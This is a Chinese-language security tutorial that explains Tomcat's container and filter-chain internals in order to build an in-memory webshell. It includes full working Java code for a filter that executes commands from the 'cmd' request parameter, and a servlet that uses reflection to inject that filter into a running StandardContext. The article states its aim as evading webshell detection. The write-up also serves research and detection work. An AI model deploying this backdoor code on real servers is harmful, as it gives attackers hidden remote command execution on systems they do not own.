Java安全之基於Tomcat實現內存馬
0x00 前言
在近年來紅隊行動中,基本上除了非必要情況,一般會選擇打入內存馬,然后再去連接。而落地Jsp文件也任意被設備給檢測到,從而得到攻擊路徑,刪除webshell以及修補漏洞,內存馬也很好的解決了反序列化回顯的問題。但是隨着紅藍攻防持續博弈中,一些內存馬的查殺工具也開始逐漸開始出現、成型。所以有必要研究一下內存馬的實現。
0x01 Tomcat架構分析
需要了解基於tomcat內存馬實現還得去分析tomcat的一些處理機制以及結構。而在Tomcat中的內存馬並不能和Weblogic的內存馬實現通用,因為結構上就不一樣。
下面對tomcat的體系結構與執行流程進行一系列的探究,下面來看張tomcat的架構圖
-
Server:
Server,即指的WEB服務器,一個Server包括多個Service。 -
Service:
Service的作用是在
Connector
和Engine
外面包了一層(可看上圖),把它們組裝在一起,對外提供服務。一個Service
可以包含多個Connector
,但是只能包含一個Engine
,其中Connector
的作用是從客戶端接收請求,Engine的作用是處理接收進來的請求。后面再來細節分析Service。 -
Connector:
Tomcat有兩個典型的
Connector
,一個直接偵聽來自browser的http請求,一個偵聽來自其它WebServer的請求Coyote Http/1.1 Connector 在端口8080處偵聽來自客戶browser的http請求
Coyote JK2 Connector 在端口8009處偵聽來自其它WebServer(Apache)的servlet/jsp代理請求。 -
Engine:
Engine下可以配置多個虛擬主機,每個虛擬主機都有一個域名當
Engine
獲得一個請求時,它把該請求匹配到某個Host
上,然后把該請求交給該Host
來處理Engine
有一個默認虛擬主機,當請求無法匹配到任何一個Host
上的時候,將交給該默認Host來處理。 -
Host:
代表一個虛擬主機,每個虛擬主機和某個網絡域名Domain Name相匹配
每個虛擬主機下都可以部署(deploy)一個或者多個Web App,每個Web App對應於一個Context,有一個Context path,當Host獲得一個請求時,將把該請求匹配到某個Context上,然后把該請求交給該Context來處理匹配的方法是“最長匹配”,所以一個path==""的Context將成為該Host的默認Context所有無法和其它Context的路徑名匹配的請求都將最終和該默認Context匹配。 -
Context:
一個Context對應於一個Web Application,一個
WebApplication
由一個或者多個Servlet組成
Context在創建的時候將根據配置文件$CATALINA_HOME/conf/web.xml
和$WEBAPP_HOME/WEB-INF/web.xml
載入Servlet類,當Context獲得請求時,將在自己的映射表(mapping table)中尋找相匹配的Servlet類。如果找到,則執行該類,獲得請求的回應,並返回。
下面來看詳細說明:
Connector
Connector也被叫做連接器。Connector將在某個指定的端口上來監聽客戶的請求,把從socket傳遞過來的數據,封裝成Request,傳遞給Engine來處理,並從Engine處獲得響應並返回給客戶端。
Engine:最頂層容器組件,其下可以包含多個 Host。
Host:一個 Host 代表一個虛擬主機,其下可以包含多個 Context。
Context:一個 Context 代表一個 Web 應用,其下可以包含多個 Wrapper。
Wrapper:一個 Wrapper 代表一個 Servlet。
對照圖:
ProtocolHandler
在Connector
中,包含了多個組件,Connector
使用ProtocolHandler
處理器來處理請求。不同的ProtocolHandler
代表不同連接類型。ProtocolHandler
處理器可以用看作是協議處理統籌者,通過管理其他工作組件實現對請求的處理。ProtocolHandler
包含了三個非常重要的組件,這三個組件分別是:
- Endpoint: 負責接受,處理socket網絡連接
- Processor: 負責將從Endpoint接受的socket連接根據協議類型封裝成request
- Adapter:負責將封裝好的Request交給Container進行處理,解析為可供Container調用的繼承了 ServletRequest接口、ServletResponse接口的對象。
請求經Connector處理完畢后,傳遞給Container進行處理。
Container
Container容器則是負責封裝和管理Servlet 處理用戶的servlet請求,並返回對象給web用戶的模塊。
Container 處理請求,內部是使用Pipeline-Value
管道來處理的,每個 Pipeline
都有特定的 Value(BaseValue)
,BaseValue 會在最后執行。上層容器的BaseValue
會調用下層容器的管道,FilterChain
其實就是這種模式,FilterChain
相當於 Pipeline
,每個 Filter 相當於一個 Value。4 個容器的BaseValve
分別是StandardEngineValve
、StandardHostValve
、StandardContextValve 和StandardWrapperValve
。每個Pipeline 都有特定的Value ,而且是在管道的最后一個執行,這個Valve 叫BaseValve
,BaseValve
是不可刪除的。
這三張圖其實就很好的解釋了他的一個執行流程,看到最后一張圖,在wrapper-Pipline
執行完成后會去創建一個FilterChain
對象也就是我們的過濾鏈。這里來解釋一下過濾鏈。
過濾鏈:在一個 Web 應用程序中可以注冊多個 Filter 程序,每個 Filter 程序都可以針對某一個 URL 進行攔截。如果多個 Filter 程序都對同一個 URL 進行攔截,那么這些 Filter 就會組成一個Filter 鏈(也稱
過濾器鏈)。
如果做過Java web開發的話,不難發現在配置Filter 的時候,假設執行完了就會來到下一個Filter 里面,如果都 FilterChain.doFilter
進行放行的話,那么這時候才會執行servlet內容。原理如上。
整體的執行流程,如下圖:
Server :
- Service
-- Connector: 客戶端接收請求
--- ProtocolHandler: 管理其他工作組件實現對請求的處理
---- Endpoint: 負責接受,處理socket網絡連接
---- Processor: 負責將從Endpoint接受的socket連接根據協議類型封裝成request
---- Adapter: 負責將封裝好的Request交給Container進行處理,解析為可供Container調用的繼承了 ServletRequest接口、ServletResponse接口的對象。
--- Container: 負責封裝和管理Servlet 處理用戶的servlet請求,並返回對象給web用戶的模塊
-- Engine:處理接收進來的請求
--- Host: 虛擬主機
--- Host: 虛擬主機
--- Host: 虛擬主機
--- Context: 相當於一個web應用
--- Context:相當於一個web應用
--- Context:相當於一個web應用
0x02 過濾鏈分析
在分析過濾鏈前需要了解的一些基礎知識,不然看起來比較費勁。在網上查閱了一些資料。
ServletContext
javax.servlet.ServletContext
Servlet規范中規定了的一個ServletContext
接口,提供了Web應用所有Servlet
的視圖,通過它可以對某個Web應用的各種資源和功能進行訪問。WEB容器在啟動時,它會為每個Web應用程序都創建一個對應的ServletContext
,它代表當前Web應用。並且它被所有客戶端共享。
看到ServletContext
的方法中有addFilter
、addServlet
、addListener
方法,即添加Filter
、Servlet
、Listener
那么如何獲取到這個ServletContext
呢?
獲取ServletContext的方法
this.getServletContext();
this.getServletConfig().getServletContext();
但是這里獲取到的實際上是一個ApplicationContextFacade
對象,該對象對ApplicationContext
的實例進行的一個封裝。
ApplicationContext
org.apache.catalina.core.ApplicationContext
對應Tomcat容器,為了滿足Servlet
規范,必須包含一個ServletContext
接口的實現。Tomcat的Context容器中都會包含一個ApplicationContext。
StandardContext
Catalina主要包括Connector和Container,StandardContext就是一個Container,它主要負責對進入的用戶請求進行處理。實際來說,不是由它來進行處理,而是交給內部的valve處理。
一個context表示了一個外部應用,它包含多個wrapper,每個wrapper表示一個servlet定義。(Tomcat 默認的 Service 服務是 Catalina)
Filter鏈分析
過濾鏈創建細節分析
假設我們基於filter去實現一個內存馬,我們需要找到filter是如何被創建的。
下面使用IDEA對其進行調試,這里配置了一個簡單的過濾器,然后運行進行調試。
打開IDEA開沖。下個斷點逆向進行分析
org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
中會去調用filter.doFilter
才會來到我們配置的filter.doFilter
方法中。其實還是前面講到的責任鏈。
這里會從filterConfig
中去獲取到一個filter對象然后來進行調用doFilter
。跟蹤到上層。
org.apache.catalina.core.ApplicationFilterChain#doFilter
會被org.apache.catalina.core.StandardWrapperValve#invoke
方法調用。
invoke方法說明:請求進入后,Connector調用context的invoke方法。invoke將請求交給其pipeline去處理,由pipeline中的所有valve順序處理請求。
在invoke方法的位置調用filterChain.doFilter
,對請求進行過濾操作。那么再來看看filterChain
是如何獲取到的。
使用ApplicationFilterFactory.createFilterChain
創建了一個過濾鏈,將request, wrapper, servlet
進行傳遞。
跟進ApplicationFilterFactory.createFilterChain
方法查看
這里則會調用context.findFilterMaps()
從StandardContext
尋找並且返回一個FilterMap數組。
再來看到后面的代碼
遍歷StandardContext.filterMaps
得到filter與URL的映射關系並通過matchDispatcher()
、matchFilterURL()
方法進行匹配,匹配成功后,還需判斷StandardContext.filterConfigs
中,是否存在對應filter的實例,當實例不為空時通過addFilter
方法,將管理filter實例的filterConfig
添加入filterChain
對象中。
再回溯上層
Wrapper wrapper = request.getWrapper();
......
wrapper.getPipeline().getFirst().invoke(request, response);
而下面的一系列都是調用管道的invoke方法,則對應這張圖
Filter實例存儲分析
下面再來看看Filter實例存放的位置在哪,在開發中會從web.xml或注解去配置一個Filter,org.apache.catalina.core.StandardContext
容器類負責存儲整個Web應用程序的數據和對象,並加載了web.xml中配置的多個Servlet、Filter對象以及它們的映射關系。
里面有三個和Filter有關的成員變量:
filterMaps變量:包含所有過濾器的URL映射關系
filterDefs變量:包含所有過濾器包括實例內部等變量
filterConfigs變量:包含所有與過濾器對應的filterDef信息及過濾器實例,進行過濾器進行管理
filterConfigs 成員變量是一個HashMap對象,里面存儲了filter名稱與對應的ApplicationFilterConfig
對象的鍵值對,在ApplicationFilterConfig
對象中則存儲了Filter實例以及該實例在web.xml中的注冊信息。
filterDefs 成員變量成員變量是一個HashMap對象,存儲了filter名稱與相應FilterDef
的對象的鍵值對,而FilterDef
對象則存儲了Filter包括名稱、描述、類名、Filter實例在內等與filter自身相關的數據
filterMaps 中的FilterMap
則記錄了不同filter與UrlPattern
的映射關系
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();
private HashMap<String, FilterDef> filterDefs = new HashMap();
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
0x03 內存馬實現
先來配置一個配置上一個惡意的Filter。
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
@WebFilter("/*")
public class cmd_Filters implements Filter {
public void destroy() {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
}
public void init(FilterConfig config) throws ServletException {
}
}
本質上其實就是Filter中接受執行參數,但是如果我們在現實情況中需要動態的將該Filter給添加進去。
由前面Filter實例存儲分析得知 StandardContext
Filter實例存放在filterConfigs、filterDefs、filterConfigs這三個變量里面,將fifter添加到這三個變量中即可將內存馬打入。那么如何獲取到StandardContext
成為了問題的關鍵。
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//該獲取StandardContext測試報錯
Field Configs = null;
Map filterConfigs;
try {
//這里是反射獲取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//反射獲取FilterDef,設置filter名等參數后,調用addFilterDef將FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射獲取FilterMap並且設置攔截路徑,並調用addFilterMapBefore將FilterMap添加進去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//反射獲取ApplicationFilterConfig,構造方法將 FilterDef傳入后獲取filterConfig后,將設置好的filterConfig添加進去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
這個StandardContext
獲取到的方式也有待研究。獲取到StandardContext
類后,后面的則是使用反射將一些屬性或值添加進去的步驟。
0x04 結尾
寥寥草草結尾,其實還有很多值得研究。